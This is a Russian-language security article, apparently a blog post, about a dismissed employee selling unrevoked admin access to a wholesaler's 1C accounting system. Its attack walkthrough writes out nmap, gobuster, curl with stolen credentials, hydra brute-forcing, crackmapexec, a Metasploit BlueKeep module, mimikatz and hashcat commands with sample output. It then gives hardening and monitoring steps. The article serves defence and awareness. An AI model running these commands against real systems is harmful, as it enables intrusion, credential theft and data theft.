Коротко напомню сюжет. При мониторинге теневых площадок был найден лот: «доступ к учётной системе оптовой торговли, база клиентов и поставщиков, права администратора». Продавец — не внешний хакер, а бывший сотрудник компании, уволенный три месяца назад. Его учётная запись в 1С осталась активной, пароль никто не сменил. Цена вопроса — 15 000 ₽ за вход и потенциально 2-3 млн рублей потерь для бизнеса в течение года.
Технически это классический пример того, что в отчётах Verizon DBIR и подобных называют «credential misuse by former employee» — один из самых недооценённых векторов у малого и среднего бизнеса. Разберём это как реальный вектор атаки, шаг за шагом.
Как это эксплуатируется
Первое, что делает покупатель такого лота (или сам продавец, если решит монетизировать доступ дважды) — проверяет, действительно ли доступ ещё жив и что за инфраструктура стоит за ним.
Шаг 1. Разведка периметра
nmap -sS -sV -p 21,22,80,443,445,1433,1540,1541,3389,8080 -T4 company-ip
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Windows Server 2016
3389/tcp open ms-wbt-server Microsoft Terminal Services
Если 1С опубликована через веб-сервер (что почти всегда так для «облачных» конфигураций), видны характерные пути. Их легко нащупать перебором директорий:
gobuster dir -u https://company-ip -w /usr/share/wordlists/1c-paths.txt -t 30
/e1cib/ (Status: 200)
/e1cib/login (Status: 200)
/ws/ (Status: 401)
/odata/standard.odata/ (Status: 401)
/e1cib/login — стандартная точка входа веб-клиента 1С:Предприятие. /odata/standard.odata/ — интерфейс OData, через который можно программно читать справочники и документы при наличии валидных учётных данных.
Шаг 2. Проверка «живой» учётки
У покупателя в руках логин/пароль уволенного сотрудника. Проверка занимает секунды:
curl -u "ivanov.p:StarayaParol1!" -X GET \
https://company-ip/odata/standard.odata/Catalog_Контрагенты \
-H "Accept: application/json"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"odata.metadata":"https://company-ip/odata/standard.odata/$metadata",
"value":[{"Ref_Key":"...","Description":"ООО Ромашка","ИНН":"77...",...}]}
Код 200 вместо 401 — подтверждение того, что учётка активна и права выше «только просмотр своей задачи». Если та же учётка входит в группу администраторов информационной базы, дальше открывается всё: справочники, документы, регистры цен, история продаж.
Шаг 3. Если пароль забыт, а логин известен — брутфорс
Если бы пароль всё-таки поменяли частично (например, только в AD, но не в самой ИБ 1С — частый рассинхрон), в ход идёт перебор:
hydra -l ivanov.p -P rockyou.txt company-ip https-get-form \
"/e1cib/login:username=^USER^&password=^PASS^:F=неверный пароль"
[443][http-post-form] host: company-ip login: ivanov.p password: Ivanov2024!
А для терминального сервера — тот же приём против RDP, если внешний 3389 не закрыт и не защищён MFA:
hydra -l ivanov.p -P rockyou.txt rdp://company-ip
crackmapexec smb company-ip -u ivanov.p -p Ivanov2024! --shares
Если сервер 1С развёрнут на старом Windows Server без актуальных патчей, отдельно проверяют классические RCE в RDP-стеке — CVE-2019-0708 (BlueKeep) и SMB — CVE-2020-0796 (SMBGhost). Это уже эксплуатация не через уволенного сотрудника, а через саму инфраструктуру:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS company-ip
run
В разборе конкретно этот вектор не понадобился — хватило одного пароля, который никто не отозвал. Но именно это делает историю типичной: закрытая учётка стоит тех же денег для бизнеса, что и патч критичной уязвимости, но требует в сто раз меньше усилий.
Технические пруфы, которые обычно остаются в таких кейсах
- Успешные входы в журнале регистрации 1С с IP-адреса, не относящегося к офисной сети или VPN-подсети компании
- Заголовок ответа веб-сервера
Server: Microsoft-IIS/10.0без дополнительных security-заголовков (X-Frame-Options,Strict-Transport-Security) — маркер того, что публикацию делали «на скорую руку» - В логе Windows Event ID 4624 (успешный логон) с типом Logon Type 10 (RemoteInteractive) в нерабочее время, если использовался RDP, а не веб-клиент
- Отсутствие записи об истечении пароля в свойствах учётной записи AD —
PasswordNeverExpires: True, что часто ставят «для удобства» техническим и сервисным аккаунтам - Активная учётная запись в справочнике «Пользователи» самой информационной базы 1С спустя месяцы после увольнения — при том что в AD доступ формально мог быть уже отключён (рассинхрон между HR-процессом, AD и внутренними правами 1С — типичная дыра)
Что и почему сработало бы дальше
Получив рабочий доступ, атакующий обычно не останавливается на выгрузке справочника контрагентов. Логика развития атаки:
- Полная выгрузка базы через OData или консоль 1С — контрагенты, цены, история продаж, платёжные реквизиты контактных лиц закупщиков. Это готовый актив для продажи конкуренту или для последующего фишинга по контактам из базы.
- Разворот доступа в сторону AD, если сервер 1С и терминальный сервер находятся в одном домене — через тот же логин можно попытаться получить хэш пароля из памяти (Mimikatz), если права позволяют RDP-сессию на сервере с кэшированными учётками.
Дальше хэш можно ломать локально:mimikatz # sekurlsa::logonpasswords Username : ivanov.p NTLM : 8846f7eaee8fb117ad06bddf...hashcat -m 1000 hash.txt rockyou.txt --force Ivanov2024! : 8846f7eaee8fb117ad06bddf... - Продажа доступа повторно — учётка с правами администратора ИБ ценится выше базы контрагентов, потому что покупатель может развернуть шифровальщик прямо через терминальный сервер 1С, который часто выведен в интернет ради «удобной работы бухгалтерии из дома».
- Прямой контакт с ушедшими клиентами из выгруженной базы — под видом «нового поставщика с лучшими условиями», зная реальные цены и историю закупок конкретного контрагента.
Именно пункт 3 — реальная причина, почему цена лота в 15 000 ₽ несопоставима с потенциальным ущербом: покупатель платит один раз, а монетизирует доступ множеством способов.
Как закрыть
Организационная часть уже описана в коротком посте — автоматический триггер на отзыв доступов при увольнении, ревизия семи забытых учёток, включение 2FA для административных прав. На техническом уровне это раскладывается так:
1. Аудит и ротация всех учётных данных
# AD: список активных учёток, у которых пароль не менялся больше 90 дней
Get-ADUser -Filter * -Properties PasswordLastSet,Enabled |
Where-Object {$_.PasswordLastSet -lt (Get-Date).AddDays(-90) -and $_.Enabled -eq $true} |
Select Name,PasswordLastSetВ самой 1С — сверка справочника «Пользователи информационной базы» со штатным расписанием, отключение неиспользуемых учёток через консоль администрирования кластера серверов.
2. Закрытие внешнего периметра
- Убрать RDP из прямого доступа в интернет, перевести на VPN с MFA или bastion-хост
- Ограничить веб-публикацию 1С по IP или через reverse-proxy с WAF, если внешний доступ действительно нужен
- Включить ограничение числа попыток входа в веб-клиенте 1С (параметр
ib_bounds/ настройка блокировки после N неудачных попыток на уровне IIS)
3. Мониторинг и алерты
# nuclei-шаблон для регулярной проверки открытых интерфейсов 1С/OData на периметре
nuclei -u https://company-ip -t exposures/apis/odata-exposure.yaml
[odata-exposure] [http] [medium] https://company-ip/odata/standard.odata/Плюс базовый SIEM-триггер: алерт на успешный логон в 1С или RDP с IP, не входящего в whitelist офисных/VPN-подсетей, и алерт на вход учётки, помеченной как «уволен» в HR-системе.
4. Регулярный мониторинг даркнета
Отдельный процесс, который стоит поставить на регулярную основу — мониторинг теневых площадок по названию компании, доменам, ИНН и характерным описаниям справочников. Рост числа таких объявлений на пятую часть за последнее время — не статистика для галочки, а сигнал, что вероятность оказаться в подобном лоте увеличивается для любой компании с плохой гигиеной доступов, независимо от масштаба.
Технически закрытие такой дыры — работа на один-два дня. Экономически — это единственная защита, которая стоит для бизнеса меньше, чем один утёкший клиент.